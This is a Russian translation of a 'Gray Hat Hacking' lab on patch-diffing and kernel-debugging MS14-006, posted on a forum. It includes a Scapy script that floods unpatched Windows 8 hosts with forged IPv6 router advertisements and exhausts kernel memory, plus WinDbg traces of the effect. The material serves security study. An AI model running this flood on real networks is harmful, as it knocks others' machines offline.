Давайте также запустим Wireshark на виртуальной машине Kali Linux, чтобы захватить объявление маршрута IPv6 и сравнить значения в захвате с тем, что мы видим в отлаженном процессе. Мы установим фильтр для захвата только объявлений о маршрутах IPv6, используя icmpv6.type == 134, и снова запустим наш скрипт IPv6_RA.py. Когда мы достигаем первой точки останова, мы нажимаем F5, чтобы перейти к вновь установленной точке останова, чтобы мы могли видеть, что значение стека помещается в регистр XMM0. Вот пакет, захваченный в Wireshark с выделенным префиксом ICMP, показывающий адрес 55ad:e130:3f8f.


22.png



Затем мы выгружаем копируемую память в регистр XMM0:

Breakpoint 2 hit
tcpip!Ipv6pUpdateSitePrefix+0x13d:➊
fffff880'01b26c2d 0f10442430 movups xmm0,xmmword ptr [rsp+30h]
kd> dd rsp+30h l4
fffff801'0ae77c20 30e1ad55 011a8f3f 00000000 00000000

Как вы можете видеть, упакованный префикс, который мы видим здесь, совпадает с префиксом, показанным в сниффере! Вскоре после этой инструкции XMM0 записывается со смещением от регистра RAX, о распределении пула ядра, которое мы ранее рассмотрели. Затем мы можем исследовать блоки пула, выделенные на странице памяти, как указано регистром RAX.

kd> !pool rax
Pool page fffffa800f1933e0 region is Nonpaged pool
fffffa800f193000 size: 150 previous size: 0 (Allocated) File
fffffa800f193150 size: 50 previous size: 150 (Allocated) usbp
fffffa800f1931a0 size: 40 previous size: 50 (Free) Free
fffffa800f1931e0 size: 80 previous size: 40 (Allocated) Even
fffffa800f193260 size: 80 previous size: 80 (Free ) Even
fffffa800f1932e0 size: f0 previous size: 80 (Allocated) MmCa
*fffffa800f1933d0 size: 50 previous size: f0 (Allocated) *Ipng
Pooltag Ipng : IP Generic buffers (Address, Interface, Packetize,
Route allocations), Binary : tcpip.sys

Как видите, наше выделение помечено тегом Ipng, который обозначает IP Generic. Позволив ядру продолжить и запустить скрипт несколько раз, мы видим, что счетчик, проверяемый в "rdi+1E8h", увеличивается. После того, как он увеличивается до 0xA (10), мы больше не достигаем других точек останова.

Breakpoint 0 hit
tcpip!Ipv6pUpdateSitePrefix+0x112:
fffff880'01b26c02 83bfe80100000a cmp dword ptr [rdi+1E8h],0Ah
kd> dd rdi+1E8h l1
fffffa80'0ef241f8 0000000a
kd> g #No more breakpoints hit!

Теперь мы подтвердили, что примененный патч просто добавляет проверку, чтобы увидеть, превышает ли число сохраненных префиксов маршрута IPv6 больше 10. Давайте удалим патч и сделаем 10 000 объявлений о маршрутах IPv6, а затем посмотрим на память ядра:


kd> !pool fffffa800d37a280
Pool page fffffa800d37a280 region is Nonpaged pool
fffffa800d37a000 size: 280 previous size: 0 (Allocated) Wfpn
*fffffa800d37a280 size: 50 previous size: 280 (Allocated) *Ipng
Pooltag Ipng : IP Generic buffers (Address, Interface, Packetize, Route
allocations), Binary : tcpip.sys
fffffa800d37a2d0 size: 50 previous size: 50 (Allocated) Ipng
fffffa800d37a320 size: 50 previous size: 50 (Allocated) Ipng
fffffa800d37a370 size: 50 previous size: 50 (Allocated) Ipng
fffffa800d37a3c0 size: 50 previous size: 50 (Allocated) Ipng
fffffa800d37a410 size: 50 previous size: 50 (Allocated) Ipng
fffffa800d37a460 size: 50 previous size: 50 (Allocated) Ipng

Как видите, наш флуд поглощает ресурсы ядра. Каждый раз, когда принимается объявление о маршруте, выполняется прерывание и выполняется распределение. Непрерывное заполнение этими запросами увеличивает ресурсы до 100%. Крутой спад со 100 процентов до нуля происходит, когда сценарий был остановлен.

23.png


Лабораторная 19-4: Отладка MS14-006

В предыдущей лабораторной работе вы могли использовать turbodiff для анализа функции Ipv6pUpdateSitePrefix до и после исправления. Если это так, это было сделано с использованием 32-разрядной версии tcpip.sys. В только что рассмотренном разделе использовалась 64-битная версия Windows 8.0 с tcpip.sys, что встречается гораздо чаще. Это упражнение может быть выполнено на 32-битной версии Windows 8.0 с использованием тех же методов; однако смещения будут разными. Чтобы упростить работу лабораторнойц, мы сосредоточимся на использовании 64-разрядной версии Windows 8. Даже если вы не можете выполнить обратный инжиниринг драйвера из-за ограничений бесплатной версии IDA 5.0, вы все равно можете использовать смещения, представленные в этом разделе, чтобы получить те же результаты с WinDbg.

Для этой лаборатории вам понадобится следующее:

- Windows 8.0 64-bit VM, полностью пропатченный (not 8.1)
- WinDbg из Microsoft SDK
- Kali Linux
- VirtualKD

После того, как у вас установлена ОС Windows, запущена VMware Workstation и установлена гостевая 64-разрядная виртуальная машина Windows 8.0, выполните следующие действия:

- Перейдите по следующему URL-адресу, чтобы загрузить WinDbg на хост-компьютер в составе Microsoft SDK: http://msdn.microsoft.com/en-US/windows/desktop/bg162891. Чтобы загружать и устанавливать только WinDbg, обязательно снимите все остальные флажки во время процесса установки.
- После установки перейдите по следующему URL-адресу для загрузки VirtualKD: http://virtualkd.sysprogs.org/. Загрузив VirtualKD на свой хост, перейдите в папку VirtualKD-28 и запустите vmmon64.exe, если вы находитесь на 64-битном хосте, или vmmon.exe, если на 32-битном хосте.
- Перейдите в папку ~\VirtualKD-2.8\target и скопируйте файл vminstall.exe на свою гостевую виртуальную машину Windows 8. Дважды щелкните исполняемый файл, чтобы установить его на виртуальной машине. Вы получите следующее предупреждение о том, что вы должны отключить подпись драйвера:

24.png


Затем инструмент спросит вас, хотите ли вы перезагрузиться. Перезагрузите компьютер и нажмите F8 при появлении запроса. Выберите параметр "Disable Driver Signature Enforcement", а затем продолжите. Подпись кода режима ядра (KMCS) - это 64-разрядный элемент управления Windows, который предотвращает загрузку неподписанных драйверов в пространство ядра. Мы допускаем исключение, чтобы VirtualKD мог правильно подключаться к гостевой виртуальной машине. После перезагрузки виртуальной машины она должна зависнуть. WinDbg должен автоматически появиться на вашем хосте с активным сеансом отладки ядра для виртуальной машины. Вы хотите нажать F5, чтобы позволить виртуальной машине загружаться. Теперь вы готовы установить точки останова.

Как было показано ранее, вы захотите установить точки останова для ссылок на "rdi+1E8h", чтобы наблюдать приращение счетчика. Нам также нужна точка останова в точке, когда префикс маршрута копируется из стека в регистр XMM0. Из WinDbg, перейдите в Debug | Break, или вы можете нажать CTRL-BREAK. Это заставит сломаться ядро. Когда виртуальная машина Windows 8 приостановлена, вы должны перезагрузить символы в ядре с помощью команды .reload. Введите эту команду, как показано ниже, включая точки останова:

nt!DbgBreakPointWithStatus:
fffff801'0b0f3930 cc int 3
kd> .reload
Connected to Windows 8 9200 x64 target at (Fri May 30 12:04:23.037 2014
(UTC - 7:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
..........
Loading User Symbols
kd> bp tcpip!Ipv6pUpdateSitePrefix+112
kd> bp tcpip!Ipv6pUpdateSitePrefix+156
kd> bp tcpip!Ipv6pUpdateSitePrefix+13d
kd> bl
0 e fffff880'01b26c02 0001 (0001) tcpip!Ipv6pUpdateSitePrefix+0x112
1 e fffff880'01b26c46 0001 (0001) tcpip!Ipv6pUpdateSitePrefix+0x156
2 e fffff880'01b26c2d 0001 (0001) tcpip!Ipv6pUpdateSitePrefix+13d

Когда вы закончите вводить точки останова, нажмите F5, чтобы позволить виртуальной машине продолжить работу. Перейдите к своей виртуальной машине Kali Linux. Вам необходимо убедиться, что ваша виртуальная машина Kali Linux и ваша виртуальная машина Windows 8 находятся в одном сегменте сети. Вам также нужно убедиться, что только эти две системы могут взаимодействовать друг с другом, потому что другие устройства, подключенные к тому же сегменту сети с включенным IPv6, могут стать жертвой сценария, который вы выполняете. Самый простой способ сделать это - перевести виртуальные машины в режим Host-Only и убедиться, что на вашем хост-адаптере VMnet1 не установлен флажок IPv6, чтобы это не повлияло.

Убедившись, что ваши виртуальные машины находятся в одном сегменте сети и что адаптер VMnet1 вашего хоста не работает с IPv6, перейдите на виртуальную машину Kali, откройте ваш любимый редактор, такой как VIM, и введите следующее, сохранив его как IPv6_RA.py:

Python:
from scapy.all import *
pkt = Ether() \
/IPv6() \
/ICMPv6ND_RA() \
/ICMPv6NDOptPrefixInfo(prefix=RandIP6(),prefixlen=64) \
/ICMPv6NDOptSrcLLAddr(lladdr=RandMAC("00:00:0c"))
sendp(pkt,count=1)

Последняя строка включает в себя count = 1. Эта переменная сообщает Scapy, сколько объявлений о маршруте нужно отправить. Если вы измените это значение на 1000, Scapy отправит 1000 объявлений о маршруте IPv6. Вы также можете изменить это на loop = 1, и он будет работать бесконечно, пока вы не остановите его с помощью CTRL+C. А пока оставьте значение count = 1 и запусти скрипт так.


#python IPv6_RA.py
.
Sent 1 packets.

а затем вернитесь в свою операционную систему и проверьте WinDbg, чтобы увидеть, достигнута ли точка останова. Если она не был достигнута, вам нужно будет вернуться и перепроверить свои шаги. Убедитесь, что две виртуальные машины находятся в одном и том же сегменте сети, и что WinDbg правильно запускает сеанс отладки ядра. Если была достигнута точка останова, продолжайте и проверьте значение в "rdi + 1E8h", чтобы увидеть, что память в данный момент держит значение:

kd> dd rdi+1E8h l1
fffffa80'0ef241f8 00000000

Обратите внимание, что ваша адресация будет отличаться из-за ASLR. Если вы впервые достигли точки останова и ранее не запускали сценарий, значение должно быть 0. Нажмите F5 еще три раза, чтобы ядро продолжило работу. Снова запустите скрипт Scapy, чтобы активировать точку останова. Проверьте значение, сохраненное в "rdi + 1E8h", чтобы увидеть, увеличился ли счетчик.

В этот момент вы захотите нажать F5 пару раз, пока виртуальная машина не будет приостановлена в отладчике. Перейдите на свою виртуальную машину Kali Linux и запустите Wireshark, введя wireshark& в окне терминала. После запуска Wireshark перейдите в Capture | Interfaces ... и выберите соответствующий, затем нажмите Start. Как только Wireshark начнет снятие трафика, введите icmpv6.type == 134 в поле Filter и нажмите клавишу ENTER. Это сделает так, что Wireshark отображает только пакеты маршрута IPv6. После применения фильтра и работы виртуальной машины в отладчике снова запустите сценарий Scapy IPv6_RA.py. Вы должны достичь контрольной точки при начальном сравнении "rdi + 1E8h" и 0xA (10). Нажмите F5 один раз, чтобы перейти к следующей точке останова, где значение стека перемещается в XMM0. Когда в этой точке останова, введите следующее:

kd> dd rsp+30h l4

Показанное значение должно соответствовать префиксу маршрута в перехвате Wireshark. Вам нужно будет пойти и проверить это. Не стесняйтесь запускать код несколько раз, чтобы наблюдать приращение счетчика и как данные объявления маршрута копируются в память ядра. Вы также можете удалить патч и подтвердить его снова.

Резюме

В этой главе мы представили двоичное сравнение и различные доступные инструменты, которые помогут ускорить ваш анализ. Мы рассмотрели простой пример PoC приложения, а затем посмотрели на реальный патч, чтобы найти уязвимость и проверить наши предположения. Это приобретенный навык, тесно связанный с вашим опытом отладки и чтения дизассемблированного кода. Чем больше вы это делаете, тем лучше вы будете выявлять изменения кода и потенциальные исправленные уязвимости. Microsoft недавно прекратила поддержку Windows XP; Тем не менее, все еще существуют некоторые версии, например, с XP Embedded, которые все еще поддерживаются и получают исправления. Это может дать возможность продолжить анализ исправлений в операционной системе, которая не имеет такой сложности. Microsoft нередко также использует скрытые изменения кода с помощью другого патча.

Источник: Gray Hat Hacking the Ethica Hacker's Handbook 4th
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
 

Вложения

  • Chapter 19.zip
    3.8 МБ · Просмотры: 25
Последнее редактирование модератором:
Пожалуйста, обратите внимание, что пользователь заблокирован
Список ссылок как дополнение...

- Исправления безопасности с 1998 по 2017 год - https://docs.microsoft.com/en-us/security-updates/
- Сводка обновлений безопасности - https://portal.msrc.microsoft.com/en-us/security-guidance/summary
- Поиск текущих исправлений безопасности - https://portal.msrc.microsoft.com/en-us/security-guidance
- Каталог Центра обновления Майкрософт - https://www.catalog.update.microsoft.com/home.aspx
- Архив патчей - http://ms-vnext.net/UpdateArchive/
- Проиндексированные файлы exe, dll, sys - https://m417z.com/winbindex/
- Microsoft Patch Tuesday - https://m417z.com/ms-patch-tuesday/
- Наборы структур ядра Windows - https://www.vergiliusproject.com/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх